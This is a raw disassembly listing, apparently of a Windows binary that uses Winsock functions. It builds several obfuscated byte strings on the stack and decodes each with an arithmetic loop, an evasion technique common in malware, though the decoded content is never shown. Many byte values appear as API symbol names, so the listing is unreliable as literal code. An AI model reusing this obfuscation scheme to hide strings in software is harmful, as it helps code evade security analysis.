mov byte [rbp + 0xbb], 4
mov byte [rbp + 0xbc], 0x68
mov byte [rbp + 0xbd], gethostname
mov byte [rbp + 0xbe], gethostname
mov byte [rbp + 0xbf], 5
mov byte [rbp + 0xc0], WSACleanup
mov byte [rbp + 0xc1], shutdown
mov byte [rbp + 0xc2], shutdown
mov byte [rbp + 0xc3], 0
mov byte [rbp + 0xc4], 0
mov byte [rbp + 0xc5], 0
mov byte [rbp + 0xc6], gethostname
mov byte [rbp + 0xc7], WSACleanup
mov byte [rbp + 0xc8], 0x7b
mov byte [rbp + 0xc9], 3
mov byte [rbp + 0xca], 0x49
mov byte [rbp + 0xcb], 0
mov byte [rbp + 0xcc], 3
mov byte [rbp + 0xcd], 0x49
mov byte [rbp + 0xce], 0
mov byte [rbp + 0xcf], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd0], 0x2d
mov byte [rbp + 0xd1], 0x57
mov byte [rbp + 0xd2], 0x42
mov byte [rbp + 0xd3], 0
mov byte [rbp + 0xd4], 0x2d
mov byte [rbp + 0xd5], 0x26
mov byte [rbp + 0xd6], 0x18
mov byte [rbp + 0xd7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd8], 0
mov byte [rbp + 0xd9], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0xda], 0x4a
mov byte [rbp + 0xdb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xdc], 0x1f
mov byte [rbp + 0xdd], 0x66
mov byte [rbp + 0xde], 0x26
mov byte [rbp + 0xdf], 0x50
mov byte [rbp + 0xe0], 0
mov byte [rbp + 0xe1], 0x4a
mov byte [rbp + 0xe2], 0x5f
mov byte [rbp + 0xe3], 0x5f
mov byte [rbp + 0xe4], 0x42
mov byte [rbp + 0xe5], 0x66
mov byte [rbp + 0xe6], 0x49
mov byte [rbp + 0xe7], 0x49
mov byte [rbp + 0xe8], 0x54
mov byte [rbp + 0xe9], 0
mov byte [rbp + 0xea], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0xeb], 0x18
mov byte [rbp + 0xec], 0x66
mov byte [rbp + 0xed], 0x4a
mov byte [rbp + 0xee], 0x49
mov byte [rbp + 0xef], 0x66
mov byte [rbp + 0xf0], 0
mov byte [rbp + 0xf1], 0x5f
mov byte [rbp + 0xf2], 0x2d
mov byte [rbp + 0xf3], 0x26
mov byte [rbp + 0xf4], gethostbyname
mov byte [rbp + 0xf5], 0x50
mov byte [rbp + 0xf6], 0
mov byte [rbp + 0xf7], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0xf8], 0x4a
mov byte [rbp + 0xf9], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xfa], 0
mov byte [rbp + 0xfb], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xfc], WSACleanup
mov byte [rbp + 0xfd], 0x76
mov byte [rbp + 0xfe], 0
mov byte [rbp + 0xff], 0x50
mov byte [rbp + 0x100], 0x2d
mov byte [rbp + 0x101], 0
mov byte [rbp + 0x102], 0x2d
mov byte [rbp + 0x103], 0x50
mov byte [rbp + 0x104], 0x7b
mov byte [rbp + 0x105], 0x66
mov byte [rbp + 0x106], 0x42
mov byte [rbp + 0x107], 0
mov byte [rbp + 0x108], 0x50
mov byte [rbp + 0x109], 0x7b
mov byte [rbp + 0x10a], 0x4a
mov byte [rbp + 0x10b], 0x26
mov byte [rbp + 0x10c], 0
mov byte [rbp + 0x10d], 0x50
mov byte [rbp + 0x10e], 0x7b
mov byte [rbp + 0x10f], 3
mov byte [rbp + 0x110], 0x49
mov byte [rbp + 0x111], 0
mov byte [rbp + 0x112], 0x2d
mov byte [rbp + 0x113], 0x42
mov byte [rbp + 0x114], 0
mov byte [rbp + 0x115], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x116], 0x2d
mov byte [rbp + 0x117], 0x57
mov byte [rbp + 0x118], 0
mov byte [rbp + 0x119], 0x65
mov byte [rbp + 0x11a], 0x2d
mov byte [rbp + 0x11b], 0x26
mov byte [rbp + 0x11c], gethostbyname
mov byte [rbp + 0x11d], 0x50
mov byte [rbp + 0x11e], 0
mov byte [rbp + 0x11f], 0x51
mov byte [rbp + 0x120], 0x66
mov byte [rbp + 0x121], 0
mov byte [rbp + 0x122], 0x4a
mov byte [rbp + 0x123], 0x51
mov byte [rbp + 0x124], 0x18
mov byte [rbp + 0x125], 0x66
mov byte [rbp + 0x126], 0
mov byte [rbp + 0x127], 0x50
mov byte [rbp + 0x128], 0x2d
mov byte [rbp + 0x129], 0
mov byte [rbp + 0x12a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x12b], 0x66
mov byte [rbp + 0x12c], 0x50
mov byte [rbp + 0x12d], 0
mov byte [rbp + 0x12e], 3
mov byte [rbp + 0x12f], 0x50
mov byte [rbp + 0x130], 0
mov byte [rbp + 0x131], 0x5f
mov byte [rbp + 0x132], 0x66
mov byte [rbp + 0x133], 0x58
mov byte [rbp + 0x134], 0x42
mov byte [rbp + 0x135], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x136], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x137], 0x50
mov byte [rbp + 0x138], 0x66
mov byte [rbp + 0x139], 0x5f
mov byte [rbp + 0x13a], 7
mov byte [rbp + 0x13b], 0x3f
mov byte [rbp + 0x13c], 0
mov byte [rbp + 0x13d], 0x79
mov byte [rbp + 0x13e], 0x64
mov byte [rbp + 0x13f], 0x79
mov byte [rbp + 0x140], 0x64
mov byte [rbp + 0x141], 0x1e
mov al, byte [rbp + 0x98]
test al, 1
jne 0x1400077b7
mov eax, 1
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x98]
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x21c
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x21c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x98], cl
add rax, 1
cmp rax, 0xaa
jne 0x140007740
mov byte [rbp + 0x300], 0
mov byte [rbp + 0x301], 0x51
mov byte [rbp + 0x302], 0xe
mov byte [rbp + 0x303], shutdown
mov byte [rbp + 0x304], 0x1b
mov byte [rbp + 0x305], 0x54
mov byte [rbp + 0x306], 0x54
mov byte [rbp + 0x307], 0x68
mov byte [rbp + 0x308], 0x2c
mov byte [rbp + 0x309], 0x3c
mov byte [rbp + 0x30a], WSACleanup
mov byte [rbp + 0x30b], gethostname
mov byte [rbp + 0x30c], 0x18
mov byte [rbp + 0x30d], 0x18
mov byte [rbp + 0x30e], shutdown
mov byte [rbp + 0x30f], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x310], 0x5d
mov byte [rbp + 0x311], shutdown
mov byte [rbp + 0x312], shutdown
mov byte [rbp + 0x313], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x314], 0x28
mov byte [rbp + 0x315], 0x2a
mov byte [rbp + 0x316], 0x3f
mov byte [rbp + 0x317], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x318], 0x5d
mov byte [rbp + 0x319], shutdown
mov byte [rbp + 0x31a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x31b], 0x46
mov byte [rbp + 0x31c], shutdown
mov byte [rbp + 0x31d], 0x28
mov byte [rbp + 0x31e], shutdown
mov byte [rbp + 0x31f], WSAGetLastError
mov byte [rbp + 0x320], shutdown
mov byte [rbp + 0x321], 0x21
mov byte [rbp + 0x322], 0x64
mov byte [rbp + 0x323], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x324], 0x2a
mov byte [rbp + 0x325], WSAGetLastError
mov byte [rbp + 0x326], shutdown
mov byte [rbp + 0x327], 0x4f
mov byte [rbp + 0x328], 0x3f
mov byte [rbp + 0x329], 0x64
mov byte [rbp + 0x32a], shutdown
mov byte [rbp + 0x32b], 0x64
mov byte [rbp + 0x32c], WSAGetLastError
mov byte [rbp + 0x32d], 0x46
mov byte [rbp + 0x32e], 0x28
mov byte [rbp + 0x32f], 0x3f
mov byte [rbp + 0x330], 0x64
mov byte [rbp + 0x331], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x332], 0x5d
mov byte [rbp + 0x333], gethostbyname
mov byte [rbp + 0x334], shutdown
mov byte [rbp + 0x335], 0x66
mov byte [rbp + 0x336], 0x1a
mov byte [rbp + 0x337], 0x1a
mov byte [rbp + 0x338], shutdown
mov byte [rbp + 0x339], 0x3f
mov byte [rbp + 0x33a], 0x4f
mov byte [rbp + 0x33b], shutdown
mov byte [rbp + 0x33c], shutdown
mov byte [rbp + 0x33d], 0x3f
mov byte [rbp + 0x33e], 0xa
mov byte [rbp + 0x33f], 0x64
mov byte [rbp + 0x340], shutdown
mov byte [rbp + 0x341], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x342], 0x66
mov byte [rbp + 0x343], 0x28
mov byte [rbp + 0x344], 0x66
mov byte [rbp + 0x345], WSAGetLastError
mov byte [rbp + 0x346], shutdown
mov byte [rbp + 0x347], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x348], shutdown
mov byte [rbp + 0x349], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x34a], 0x46
mov byte [rbp + 0x34b], shutdown
mov byte [rbp + 0x34c], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x34d], 0x46
mov byte [rbp + 0x34e], shutdown
mov byte [rbp + 0x34f], 0x28
mov byte [rbp + 0x350], shutdown
mov byte [rbp + 0x351], WSAGetLastError
mov byte [rbp + 0x352], shutdown
mov byte [rbp + 0x353], 0x66
mov byte [rbp + 0x354], WSAGetLastError
mov byte [rbp + 0x355], WSAGetLastError
mov byte [rbp + 0x356], 0x64
mov byte [rbp + 0x357], 0x66
mov byte [rbp + 0x358], gethostbyname
mov byte [rbp + 0x359], WSAGetLastError
mov byte [rbp + 0x35a], shutdown
mov byte [rbp + 0x35b], 0x7b
mov byte [rbp + 0x35c], 0x3f
mov byte [rbp + 0x35d], 0x5d
mov byte [rbp + 0x35e], 0x28
mov byte [rbp + 0x35f], shutdown
mov byte [rbp + 0x360], 0x1a
mov byte [rbp + 0x361], shutdown
mov byte [rbp + 0x362], shutdown
mov byte [rbp + 0x363], 0x4d
mov byte [rbp + 0x364], 0x66
mov byte [rbp + 0x365], gethostbyname
mov byte [rbp + 0x366], WSAGetLastError
mov byte [rbp + 0x367], shutdown
mov byte [rbp + 0x368], 0x4f
mov byte [rbp + 0x369], 0x3f
mov byte [rbp + 0x36a], 0x64
mov byte [rbp + 0x36b], shutdown
mov byte [rbp + 0x36c], shutdown
mov byte [rbp + 0x36d], shutdown
mov byte [rbp + 0x36e], WSAGetLastError
mov byte [rbp + 0x36f], 0x7b
mov byte [rbp + 0x370], 0x21
mov byte [rbp + 0x371], 0x1a
mov byte [rbp + 0x372], 0x3f
mov byte [rbp + 0x373], shutdown
mov byte [rbp + 0x374], WSAGetLastError
mov byte [rbp + 0x375], WSAGetLastError
mov byte [rbp + 0x376], shutdown
mov byte [rbp + 0x377], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x378], 0x5d
mov byte [rbp + 0x379], shutdown
mov byte [rbp + 0x37a], shutdown
mov byte [rbp + 0x37b], 0x3f
mov byte [rbp + 0x37c], 0xa
mov byte [rbp + 0x37d], 0x64
mov byte [rbp + 0x37e], shutdown
mov byte [rbp + 0x37f], 0x2a
mov byte [rbp + 0x380], 0x3f
mov byte [rbp + 0x381], 0x7b
mov byte [rbp + 0x382], 0x21
mov byte [rbp + 0x383], 0x66
mov byte [rbp + 0x384], 0x5d
mov byte [rbp + 0x385], shutdown
mov byte [rbp + 0x386], WSAGetLastError
mov byte [rbp + 0x387], shutdown
mov byte [rbp + 0x388], 0xe
mov byte [rbp + 0x389], 0x3f
mov byte [rbp + 0x38a], shutdown
mov byte [rbp + 0x38b], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x38c], 0x3f
mov byte [rbp + 0x38d], 0x5d
mov byte [rbp + 0x38e], 0x40
mov byte [rbp + 0x38f], 0x28
mov byte [rbp + 0x390], shutdown
mov byte [rbp + 0x391], WSAGetLastError
mov byte [rbp + 0x392], WSAGetLastError
mov byte [rbp + 0x393], WSAGetLastError
mov byte [rbp + 0x394], 0x5d
mov byte [rbp + 0x395], shutdown
mov byte [rbp + 0x396], 0x28
mov byte [rbp + 0x397], shutdown
mov byte [rbp + 0x398], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x399], 0x5d
mov byte [rbp + 0x39a], gethostname
mov byte [rbp + 0x39b], shutdown
mov byte [rbp + 0x39c], 0x66
mov byte [rbp + 0x39d], 0x48
mov byte [rbp + 0x39e], 0x3f
mov byte [rbp + 0x39f], 0xa
mov byte [rbp + 0x3a0], 0x28
mov byte [rbp + 0x3a1], shutdown
mov byte [rbp + 0x3a2], 0x5d
mov byte [rbp + 0x3a3], WSAGetLastError
mov byte [rbp + 0x3a4], gethostbyname
mov byte [rbp + 0x3a5], 0x3f
mov byte [rbp + 0x3a6], 0x28
mov byte [rbp + 0x3a7], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3a8], 0x66
mov byte [rbp + 0x3a9], 0x28
mov byte [rbp + 0x3aa], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3ab], 0x5d
mov byte [rbp + 0x3ac], gethostbyname
mov byte [rbp + 0x3ad], WSAGetLastError
mov byte [rbp + 0x3ae], shutdown
mov byte [rbp + 0x3af], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x3b0], shutdown
mov byte [rbp + 0x3b1], 0x66
mov byte [rbp + 0x3b2], 0x28
mov byte [rbp + 0x3b3], shutdown
mov byte [rbp + 0x3b4], 0x4d
mov byte [rbp + 0x3b5], 0x3f
mov byte [rbp + 0x3b6], 0xa
mov byte [rbp + 0x3b7], 0x1a
mov byte [rbp + 0x3b8], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x3b9], shutdown
mov byte [rbp + 0x3ba], 0x3f
mov byte [rbp + 0x3bb], 0x5d
mov byte [rbp + 0x3bc], 0x1a
mov byte [rbp + 0x3bd], shutdown
mov byte [rbp + 0x3be], shutdown
mov byte [rbp + 0x3bf], 0x48
mov byte [rbp + 0x3c0], WSAGetLastError
mov byte [rbp + 0x3c1], shutdown
mov byte [rbp + 0x3c2], 0x66
mov byte [rbp + 0x3c3], shutdown
mov byte [rbp + 0x3c4], 0x4d
mov byte [rbp + 0x3c5], 0x66
mov byte [rbp + 0x3c6], 0x46
mov byte [rbp + 0x3c7], 0x28
mov byte [rbp + 0x3c8], WSAGetLastError
mov byte [rbp + 0x3c9], shutdown
mov byte [rbp + 0x3ca], 0x3f
mov byte [rbp + 0x3cb], 0x4f
mov byte [rbp + 0x3cc], shutdown
mov byte [rbp + 0x3cd], 0x28
mov byte [rbp + 0x3ce], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3cf], 0x7b
mov byte [rbp + 0x3d0], WSAGetLastError
mov byte [rbp + 0x3d1], shutdown
mov byte [rbp + 0x3d2], 0x66
mov byte [rbp + 0x3d3], 0x5d
mov byte [rbp + 0x3d4], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x3d5], shutdown
mov byte [rbp + 0x3d6], shutdown
mov byte [rbp + 0x3d7], 0x3f
mov byte [rbp + 0x3d8], 0xa
mov byte [rbp + 0x3d9], shutdown
mov byte [rbp + 0x3da], 0x4d
mov byte [rbp + 0x3db], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3dc], 0x1a
mov byte [rbp + 0x3dd], 0x1a
mov byte [rbp + 0x3de], shutdown
mov byte [rbp + 0x3df], 0x48
mov byte [rbp + 0x3e0], WSAGetLastError
mov byte [rbp + 0x3e1], shutdown
mov byte [rbp + 0x3e2], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3e3], gethostbyname
mov byte [rbp + 0x3e4], 0x5d
mov byte [rbp + 0x3e5], 0x3f
mov byte [rbp + 0x3e6], 0x64
mov byte [rbp + 0x3e7], WSAGetLastError
mov byte [rbp + 0x3e8], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x3e9], WSAGetLastError
mov byte [rbp + 0x3ea], 0x52
mov byte [rbp + 0x3eb], 0x2d
mov byte [rbp + 0x3ec], 0x52
mov byte [rbp + 0x3ed], 0x2d
mov byte [rbp + 0x3ee], 0x5b
mov al, byte [rbp + 0x300]
test al, 1
jne 0x140007edc
mov eax, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x300]
movzx ecx, cl
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xffffec73
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xffffec73
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xffffec73
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x300], cl
add rax, 1
cmp rax, 0xef
jne 0x140007e60
mov byte [rbp + 0x4b0], 0
mov byte [rbp + 0x4b1], 0x29
mov byte [rbp + 0x4b2], 0x28
mov byte [rbp + 0x4b3], WSACleanup
mov byte [rbp + 0x4b4], 0x45
mov byte [rbp + 0x4b5], 0x67
mov byte [rbp + 0x4b6], WSACleanup
mov byte [rbp + 0x4b7], 0x48
mov byte [rbp + 0x4b8], gethostbyname
mov byte [rbp + 0x4b9], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x4ba], WSACleanup
mov byte [rbp + 0x4bb], 0x67
mov byte [rbp + 0x4bc], WSAGetLastError
mov byte [rbp + 0x4bd], 0x45
mov byte [rbp + 0x4be], 0x3b
mov byte [rbp + 0x4bf], 0x7a
mov byte [rbp + 0x4c0], 0x45
mov byte [rbp + 0x4c1], gethostbyname
mov byte [rbp + 0x4c2], 0x1b
mov byte [rbp + 0x4c3], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x4c4], WSAGetLastError
mov byte [rbp + 0x4c5], 0x45
mov byte [rbp + 0x4c6], 0x41
mov byte [rbp + 0x4c7], gethostbyname
mov byte [rbp + 0x4c8], 0x7a
mov byte [rbp + 0x4c9], 0x7a
mov byte [rbp + 0x4ca], 0x3b
mov byte [rbp + 0x4cb], gethostname
mov byte [rbp + 0x4cc], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x4cd], WSACleanup
mov byte [rbp + 0x4ce], 0x45
mov byte [rbp + 0x4cf], 0x47
mov byte [rbp + 0x4d0], 0x3b
mov byte [rbp + 0x4d1], 0xe
mov byte [rbp + 0x4d2], 0x28
mov byte [rbp + 0x4d3], 0x45
mov byte [rbp + 0x4d4], gethostbyname
mov byte [rbp + 0x4d5], 0x21
mov byte [rbp + 0x4d6], 0x67
mov byte [rbp + 0x4d7], 0x45
mov byte [rbp + 0x4d8], 0x28
mov byte [rbp + 0x4d9], WSACleanup
mov byte [rbp + 0x4da], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x4db], 0x41
mov byte [rbp + 0x4dc], 0x51
mov byte [rbp + 0x4dd], 0x59
mov byte [rbp + 0x4de], 0x20
mov byte [rbp + 0x4df], 0x59
mov byte [rbp + 0x4e0], 0x20
mov byte [rbp + 0x4e1], 0x60
mov al, byte [rbp + 0x4b0]
test al, 1
jne 0x1400080c6
mov eax, 1
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x4b0]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x780
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x780
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x4b0], cl
add rax, 1
cmp rax, 0x32
jne 0x140008050
mov byte [rbp + 0x148], 0
mov byte [rbp + 0x149], 0x28
mov byte [rbp + 0x14a], 0
mov byte [rbp + 0x14b], 0
mov byte [rbp + 0x14c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x14d], WSAGetLastError
mov byte [rbp + 0x14e], 0x4a
mov byte [rbp + 0x14f], 0x5f
mov byte [rbp + reloc.WS2_32.dll_setsockopt0], 0x15
mov byte [rbp + 0x151], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x152], 0x63
mov byte [rbp + 0x153], 0x4a
mov byte [rbp + 0x154], 0x20
mov byte [rbp + 0x155], 0x5f
mov byte [rbp + 0x156], 0x43
mov byte [rbp + 0x157], 0x27
mov byte [rbp + 0x158], 7
mov byte [rbp + 0x159], 0x1c
mov byte [rbp + 0x15a], 0x58
mov byte [rbp + 0x15b], 0x1e
mov byte [rbp + 0x15c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x15d], 0x20
mov byte [rbp + 0x15e], 0x4a
mov byte [rbp + 0x15f], 0x43
mov byte [rbp + 0x160], 0xe
mov byte [rbp + 0x161], 0x19
mov byte [rbp + 0x162], 7
mov byte [rbp + 0x163], WSAGetLastError
mov byte [rbp + 0x164], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x165], WSAGetLastError
mov byte [rbp + 0x166], gethostname
mov byte [rbp + 0x167], 0
mov byte [rbp + 0x168], 0x27
mov byte [rbp + 0x169], 0x58
mov byte [rbp + 0x16a], 0x1e
mov byte [rbp + 0x16b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x16c], gethostname
mov byte [rbp + 0x16d], 0x43
mov byte [rbp + 0x16e], 0x19
mov byte [rbp + 0x16f], gethostbyname
mov byte [rbp + 0x170], 0x27
mov byte [rbp + 0x171], 0x58
mov byte [rbp + 0x172], 0x1e
mov byte [rbp + 0x173], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x174], 0x27
mov byte [rbp + 0x175], 0x1c
mov byte [rbp + 0x176], 0x20
mov byte [rbp + 0x177], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x178], shutdown
mov byte [rbp + 0x179], 0x19
mov byte [rbp + 0x17a], 7
mov byte [rbp + 0x17b], 0x63
mov byte [rbp + 0x17c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x17d], 0x1c
mov byte [rbp + 0x17e], WSACleanup
mov byte [rbp + 0x17f], 0x27
mov byte [rbp + 0x180], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x181], 0x27
mov byte [rbp + 0x182], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x183], 0x19
mov byte [rbp + 0x184], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x185], 0x27
mov byte [rbp + 0x186], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x187], 0x19
mov byte [rbp + 0x188], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x189], 0
mov byte [rbp + 0x18a], 0x4a
mov byte [rbp + 0x18b], 0x1c
mov byte [rbp + 0x18c], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x18d], 0x4a
mov byte [rbp + 0x18e], WSAGetLastError
mov byte [rbp + 0x18f], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x190], 0x20
mov byte [rbp + 0x191], 0x4a
mov byte [rbp + 0x192], 0x43
mov byte [rbp + 0x193], 0xe
mov byte [rbp + 0x194], 0x19
mov byte [rbp + 0x195], 7
mov byte [rbp + 0x196], WSAGetLastError
mov byte [rbp + 0x197], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x198], 0x63
mov byte [rbp + 0x199], 0x19
mov byte [rbp + 0x19a], 0x1c
mov byte [rbp + 0x19b], 0x19
mov byte [rbp + 0x19c], 0x53
mov byte [rbp + 0x19d], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x19e], WSACleanup
mov byte [rbp + 0x19f], 0x19
mov byte [rbp + 0x1a0], 0x23
mov byte [rbp + 0x1a1], 0x27
mov byte [rbp + 0x1a2], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1a3], 0x5c
mov byte [rbp + 0x1a4], 0x27
mov byte [rbp + 0x1a5], 0x27
mov byte [rbp + 0x1a6], 7
mov byte [rbp + 0x1a7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1a8], 0x27
mov byte [rbp + 0x1a9], 7
mov byte [rbp + 0x1aa], 0x20
mov byte [rbp + 0x1ab], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x1ac], WSAGetLastError
mov byte [rbp + 0x1ad], 0xe
mov byte [rbp + 0x1ae], 0x1c
mov byte [rbp + 0x1af], 0x27
mov byte [rbp + 0x1b0], 0x63
mov byte [rbp + 0x1b1], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1b2], 0x19
mov byte [rbp + 0x1b3], 7
mov byte [rbp + 0x1b4], 0x63
mov byte [rbp + 0x1b5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1b6], 0x1c
mov byte [rbp + 0x1b7], WSACleanup
mov byte [rbp + 0x1b8], 0x27
mov byte [rbp + 0x1b9], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1ba], 0x27
mov byte [rbp + 0x1bb], 0x2a
mov byte [rbp + 0x1bc], 0x1c
mov byte [rbp + 0x1bd], 0x27
mov byte [rbp + 0x1be], 7
mov byte [rbp + 0x1bf], 0x58
mov byte [rbp + 0x1c0], gethostname
mov byte [rbp + 0x1c1], 0x4a
mov byte [rbp + 0x1c2], 7
mov byte [rbp + 0x1c3], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1c4], WSACleanup
mov byte [rbp + 0x1c5], 0x19
mov byte [rbp + 0x1c6], 0x58
mov byte [rbp + 0x1c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1c8], 0x5c
mov byte [rbp + 0x1c9], 0x27
mov byte [rbp + 0x1ca], 0x27
mov byte [rbp + 0x1cb], 7
mov byte [rbp + 0x1cc], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1cd], 0x20
mov byte [rbp + 0x1ce], WSACleanup
mov byte [rbp + 0x1cf], 0x19
mov byte [rbp + 0x1d0], 7
mov byte [rbp + 0x1d1], gethostbyname
mov byte [rbp + 0x1d2], 0x27
mov byte [rbp + 0x1d3], 0x63
mov byte [rbp + 0x1d4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1d5], 0x1c
mov byte [rbp + 0x1d6], 0x4a
mov byte [rbp + 0x1d7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1d8], 0x25
mov byte [rbp + 0x1d9], 0x3c
mov byte [rbp + 0x1da], 7
mov byte [rbp + 0x1db], gethostname
mov byte [rbp + 0x1dc], gethostbyname
mov byte [rbp + 0x1dd], WSACleanup
mov byte [rbp + 0x1de], 0x1c
mov byte [rbp + 0x1df], shutdown
mov byte [rbp + 0x1e0], 0
mov byte [rbp + 0x1e1], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1e2], 0x25
mov byte [rbp + 0x1e3], WSACleanup
mov byte [rbp + 0x1e4], 0x26
mov byte [rbp + 0x1e5], WSACleanup
mov byte [rbp + 0x1e6], 0x26
mov byte [rbp + 0x1e7], 3
mov al, byte [rbp + 0x148]
test al, 1
jne 0x1400085b5
mov eax, 1
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x148]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, WSAGetLastError
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x6c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x148], cl
add rax, 1
cmp rax, 0xa0
jne 0x140008540
lea r11, [rbp + 0x479]
lea r14, [rbp + 0x439]
lea r15, [rbp + 0x6c1]
lea r12, [rbp + 0x521]
lea r13, [rbp + 0x99]
mov byte [rbp + 0x668], 0
mov byte [rbp + 0x669], 0x18
mov byte [rbp + 0x66a], 0x5a
mov byte [rbp + 0x66b], 0x18
mov byte [rbp + 0x66c], 0x5a
mov byte [rbp + 0x66d], 0x18
mov byte [rbp + 0x66e], 0x5a
mov byte [rbp + 0x66f], 0x18
mov byte [rbp + 0x670], 0x5a
mov byte [rbp + 0x671], 0x18
